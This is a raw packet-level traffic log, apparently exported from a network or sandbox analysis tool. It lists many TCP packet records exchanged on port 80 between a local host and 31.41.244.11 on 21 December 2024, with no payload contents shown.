Dec 21, 2024 10:15:42.824402094 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:42.824453115 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:42.827116013 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:42.827167034 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:42.827204943 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:42.827256918 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:42.829878092 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:42.829912901 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:42.829932928 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:42.829977036 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:42.832603931 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:42.832639933 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:42.832657099 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:42.832688093 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:42.835195065 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:42.835252047 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:42.835283995 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:42.835369110 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:42.837949991 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:42.837984085 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:42.838006973 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:42.838037968 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:42.955039978 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:42.955076933 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:42.955138922 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:42.957787991 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:42.957839966 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:42.957848072 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:42.957947969 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.074529886 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.074568033 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.074655056 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.077220917 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.077256918 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.077333927 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.194154978 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.194190025 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.194207907 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.194226980 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.194380999 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.194385052 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.194420099 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.194447994 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.194458008 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.194473028 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.194519043 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.194525957 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.194561005 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.194588900 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.194597006 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.194612026 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.194634914 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.194643974 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.194670916 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.194690943 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.194705009 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.194729090 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.194752932 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.194763899 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.194787979 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.194803953 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.194822073 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.194833040 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.194856882 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.194866896 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.194891930 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.194907904 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.194926977 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.194943905 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.194978952 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.195283890 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.195338011 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.195353031 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.195401907 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.195405006 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.195458889 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.195461988 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.195498943 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.195513010 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.195533991 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.195550919 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.195569038 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.195589066 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.195602894 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.195631981 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.195638895 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.195653915 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.195676088 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.195705891 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.195709944 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.195732117 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.195753098 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.196346045 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.196382999 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.196413040 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.196418047 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.196443081 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.196458101 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.196465015 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.196495056 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.196512938 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.196528912 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.196553946 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.196566105 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.196592093 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.196603060 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.196614981 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.196666002 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.196983099 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.197017908 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.197052002 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.197052002 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.197077036 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.197089911 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.197098970 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.197124958 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.197141886 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.197161913 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.197182894 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.197195053 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.197206974 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.197231054 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.197247982 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.197268963 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.197285891 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.197304010 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.197315931 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.197340965 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.197400093 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.197838068 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.197873116 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.197906971 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.197926044 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.197942019 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.197962999 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.197962999 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.197979927 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.197984934 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.198014975 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.198030949 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.198055029 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.198087931 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.198091984 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.198112965 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.198131084 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.198138952 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.198167086 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.198191881 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.198204994 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.198216915 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.198261976 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.198697090 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.198755026 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.198767900 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.198810101 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.198812008 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.198847055 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.198864937 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.198882103 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.198900938 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.198918104 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.198935032 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.198954105 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.198975086 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.198988914 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.198997974 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.199024916 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.199039936 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.199060917 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.199083090 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.199095011 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.199109077 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.199152946 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.199574947 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.199610949 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.199640989 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.199640989 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.199667931 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.199688911 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.199695110 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.199731112 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.199745893 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.199767113 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.199784040 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.199801922 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.199819088 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.199839115 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.199858904 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.199876070 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.199888945 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.199913025 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.199932098 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.199961901 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.199964046 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.200011969 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.200016022 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.200047016 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.200056076 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.200092077 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.200504065 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.200540066 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.200571060 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.200576067 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.200593948 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.200612068 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.200620890 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.200647116 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.200660944 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.200694084 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.200980902 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.201035976 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.201042891 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.201070070 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.201083899 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.201107025 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.201116085 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.201142073 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.201157093 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.201178074 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.201189041 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.201211929 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.201221943 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.201247931 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.201255083 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.201299906 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.201353073 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.201390028 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.201407909 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.201438904 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.201903105 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.201955080 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.201961040 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.201991081 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.201998949 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.202027082 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.202039957 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.202064991 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.202075958 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.202100039 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.202114105 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.202136040 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.202146053 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.202172041 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.202184916 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.202207088 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.202222109 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.202250004 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.202274084 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.202317953 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.202722073 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.202779055 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.202780008 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.202816963 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.202832937 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.202851057 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.202858925 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.202886105 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.202898026 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.202922106 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.202944040 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.202959061 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.202972889 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.203005075 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.314961910 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.315018892 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.315145969 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.315649986 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.315706015 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.315777063 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.315829992 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.318037033 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.318231106 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.318402052 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.320178986 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.320235968 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.320250988 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.320288897 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.322345972 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.322398901 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.322488070 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.322545052 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.324604988 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.324724913 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.324778080 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.327481985 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.328700066 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.328764915 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.329457998 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.329494953 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.329554081 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.329807997 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.329868078 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.329869032 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.329915047 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.331413984 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.331466913 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.331976891 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.332032919 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.332102060 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.332150936 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.333483934 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.333529949 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.333633900 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.333679914 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.335086107 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.335135937 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.335294008 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.336525917 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.336560965 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.336580038 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.336610079 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.337937117 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.338061094 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.338116884 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.339420080 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.339473009 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.339545965 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.339597940 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.340851068 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.340902090 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.340974092 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.341022968 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.342412949 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.342447996 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.342468023 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.342490911 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.343838930 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.343895912 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.343982935 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.344036102 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.345415115 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.345470905 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.345525026 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.345577002 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.346815109 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.346869946 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.346936941 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.346987963 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.348300934 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.348453045 CET	80	49844	31.41.244.11	192.168.2.4
